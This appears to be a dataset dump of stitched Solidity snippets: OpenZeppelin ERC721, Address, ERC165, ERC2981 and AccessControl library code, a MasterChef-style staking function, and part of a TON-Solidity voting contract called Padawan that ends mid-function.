* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol)
pragma solidity ^0.8.0;
import "../../interfaces/IERC2981.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information.
*
* Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for
* specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first.
*
* Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the
* fee is specified in basis points by default.
*
* IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See
* https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to
* voluntarily pay royalties together with sales, but note that this standard is not yet widely supported.
*
* _Available since v4.5._
*/
abstract contract ERC2981 is IERC2981, ERC165 {
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId];
if (royalty.receiver == address(0)) {
royalty = _defaultRoyaltyInfo;
}
uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator();
return (royalty.receiver, royaltyAmount);
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
return 10000;
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: invalid receiver");
_defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);
}
/**
* @dev Removes default royalty information.
*/
function _deleteDefaultRoyalty() internal virtual {
delete _defaultRoyaltyInfo;
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `tokenId` must be already minted.
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function _setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) internal virtual {
require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
require(receiver != address(0), "ERC2981: Invalid parameters");
_tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function _resetTokenRoyalty(uint256 tokenId) internal virtual {
delete _tokenRoyaltyInfo[tokenId];
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard.
*
* A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal
* support for royalty payments across all NFT marketplaces and ecosystem participants.
*
* _Available since v4.5._
*/
interface IERC2981 is IERC165 {
/**
* @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of
* exchange. The royalty amount is denominated and should be payed in that same unit of exchange.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
|
Update the base URI field _uri base for all tokens Only the admin can call this/
|
function setBaseURI(string calldata _uri) onlyOwner external {
baseURI = _uri;
}
| 253,775 |
./full_match/43114/0x995eeDB14d5ecF3c7C44D7186fA013f3C12fA994/sources/Contracts.sol
|
Stake CAKE tokens to MasterChef
|
function enterStaking(uint256 _amount) external onlyEOAorWhitelist
{
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
syrup.mint(msg.sender, _amount);
emit Deposit(msg.sender, 0, _amount);
}
| 4,509,945 |
pragma ton-solidity >= 0.36.0;
import "Base.sol";
import "./interfaces/IProposal.sol";
import "./interfaces/IPadawan.sol";
import "./interfaces/IDemiurge.sol";
import "./interfaces/ITokenRoot.sol";
import "./interfaces/ITokenWallet.sol";
contract Padawan is Base {
uint32 constant ERROR_UNAUTHORIZED_CALLER = 110;
uint32 constant ERROR_NOT_ENOUGH_VOTES = 111;
uint32 constant ERROR_NO_MORE_THAN_ONE_RECLAIM_AT_A_TIME = 112;
uint32 constant ERROR_NOT_A_USER_WALLET = 113;
uint32 constant ERROR_MSG_VALUE_TOO_LOW = 114;
uint32 constant ERROR_TOKEN_ACCOUNT_ALREADY_EXISTS = 115;
uint32 constant ERROR_INVALID_ROOT_CALLER = 116;
uint32 constant ERROR_ANSWER_ID_NOT_FOUND = 117;
uint32 constant ERROR_ACCOUNT_DOES_NOT_EXIST = 118;
uint32 constant ERROR_DEPOSIT_NOT_FOUND = 119;
uint32 constant ERROR_CALLER_IS_NOT_DEPOOL = 120;
uint32 constant ERROR_DEPOSIT_WITH_SUCH_ID_EXISTS = 121;
uint32 constant ERROR_PENDING_DEPOSIT_ALREADY_EXISTS = 122;
uint32 constant ERROR_INVALID_DEPLOYER = 123;
struct Deposit {
uint256 tokenId;
address returnTo;
uint64 amount;
uint64 valuePerVote;
bool approved;
uint256 depool;
}
// ProposalDeployer address
address static deployer;
// User address
address _ownerAddress;
// Collection of Padawan's token accounts.
// map [token root address] => account struct
mapping (address => TipAccount) tokenAccounts;
// Set of deposits of different currencies (crystals, tip tokens, depool stake)
// map [createdAt] => Deposit struct
mapping (uint32 => Deposit) deposits;
// predefined TokenId for Crystals currency
uint256 _crystalsID = 0;
// Set of proposal address for which user is voted and which are not finalized yet.
mapping(address => uint32) _activeProposals;
// Set of proposal votes.
// Used for easy querying locked votes.
// map [votes] -> counter
mapping(uint32 => uint32) _spentVotes;
// Number of votes requested to reclaim
uint32 _requestedVotes;
// Total number of votes available to user.
uint32 _totalVotes;
// Number of votes that cannot be reclaimed until finish of one of active proposals.
uint32 _lockedVotes;
// Id of token deposit that is not approved yet.
// If == 0, there is no pending deposits.
uint32 _pendingDepositId;
address _tokenRoot;
event VoteRejected(uint64 pid, uint32 votes, uint16 ec);
/*
* Helpers
*/
modifier contractOnly() {
require(msg.sender != address(0));
_;
}
modifier onlyOwner() {
require(msg.sender == _ownerAddress, ERROR_NOT_A_USER_WALLET);
_;
}
/*
* Initialization
*/
constructor(address tokenRoot) public contractOnly {
require(deployer == msg.sender, ERROR_INVALID_DEPLOYER);
_tokenRoot = tokenRoot;
IDemiurge(deployer).onPadawanDeploy{value: 1 ton}(tvm.pubkey());
_createTokenAccount();
}
function initPadawan(address ownerAddress) external {
require(msg.sender == deployer, ERROR_UNAUTHORIZED_CALLER);
_ownerAddress = ownerAddress;
}
/*
* Public Voting API
*/
/// @notice Allows user to vote for proposal.
function voteFor(address proposal, bool choice, uint32 votes) external onlyOwner {
optional(uint32) opt = _activeProposals.fetch(proposal);
uint32 proposalVotes = opt.hasValue() ? opt.get() : 0;
uint32 availableVotes = _totalVotes - proposalVotes;
require(votes <= availableVotes, ERROR_NOT_ENOUGH_VOTES);
if (!opt.hasValue()) {
_activeProposals[proposal] = 0;
}
IProposal(proposal).voteFor{value: 0, flag: 64, bounce: true}(tvm.pubkey(), choice, votes);
}
/// @notice Called by Proposal smc in case if votes are accepted.
function confirmVote(uint64 pid, uint32 deposit) external contractOnly {
// pid - unused
pid = pid;
optional(uint32) opt = _activeProposals.fetch(msg.sender);
require(opt.hasValue());
uint32 propVotes = opt.get();
uint32 newPropVotes = deposit + propVotes;
_activeProposals[msg.sender] = newPropVotes;
_deleteSpentVotes(propVotes);
_spentVotes[newPropVotes] += 1;
_updateLockedVotes();
// return change for `voteFor` back to user
_ownerAddress.transfer(0, false, 64);
}
/// @notice Called by Proposal smc in case if votes are rejected.
function rejectVote(uint64 pid, uint32 deposit, uint16 ec) external contractOnly {
optional(uint32) opt = _activeProposals.fetch(msg.sender);
require(opt.hasValue());
uint32 propVotes = opt.get();
if (propVotes == 0) {
delete _activeProposals[msg.sender];
}
_ownerAddress.transfer(0, false, 64);
emit VoteRejected(pid, deposit, ec);
}
/// @notice Allows to withdraw unlocked user votes back in crystal or tons.
/// @param votes - number of votes to reclaim.
function reclaimDeposit(uint32 votes) external onlyOwner {
require(msg.value >= DEPOSIT_TONS_FEE, ERROR_MSG_VALUE_TOO_LOW);
require(votes <= _totalVotes, ERROR_NOT_ENOUGH_VOTES);
_requestedVotes = votes;
if (_requestedVotes <= _totalVotes - _lockedVotes) {
_unlockDeposit();
}
// need to query status of each active proposal
optional(address, uint32) proposal = _activeProposals.min();
while (proposal.hasValue()) {
(address addr, /* uint128 votes*/) = proposal.get();
IProposal(addr).queryStatus{value: QUERY_STATUS_FEE, bounce: true, flag: 1}();
proposal = _activeProposals.next(addr);
}
}
/*
* Groups API
*/
/// @notice Receives proposal status. Called by Proposal smc as an answer on queryStatus().
function updateStatus(uint64 pid, ProposalState state) external contractOnly {
pid = pid;
optional(uint32) opt = _activeProposals.fetch(msg.sender);
require(opt.hasValue());
tvm.accept();
// if proposal is ended
if (state >= ProposalState.Ended) {
_deleteSpentVotes(opt.get());
_updateLockedVotes();
delete _activeProposals[msg.sender];
}
if (_requestedVotes <= _totalVotes - _lockedVotes) {
_unlockDeposit();
}
}
/*
* Private functions
*/
function _deleteSpentVotes(uint32 votes) private {
optional(uint32) spentOpt = _spentVotes.fetch(votes);
if (spentOpt.hasValue()) {
uint32 counter = spentOpt.get();
if (counter > 1) {
_spentVotes[votes] = counter - 1;
} else {
delete _spentVotes[votes];
}
}
}
/// @notice update locked votes
function _updateLockedVotes() private inline {
uint32 maxVotes = 0;
optional(uint32, uint32) maxVotesOpt = _spentVotes.max();
if (maxVotesOpt.hasValue()) {
(uint32 votes, ) = maxVotesOpt.get();
maxVotes = votes;
}
if (_lockedVotes != maxVotes) {
_lockedVotes = maxVotes;
}
}
function _unlockDeposit() private {
uint32 origVotes = _requestedVotes;
optional(uint32, Deposit) depo = deposits.max();
while (depo.hasValue()) {
(uint32 createdAt, Deposit deposit) = depo.get();
if (_requestedVotes != 0) {
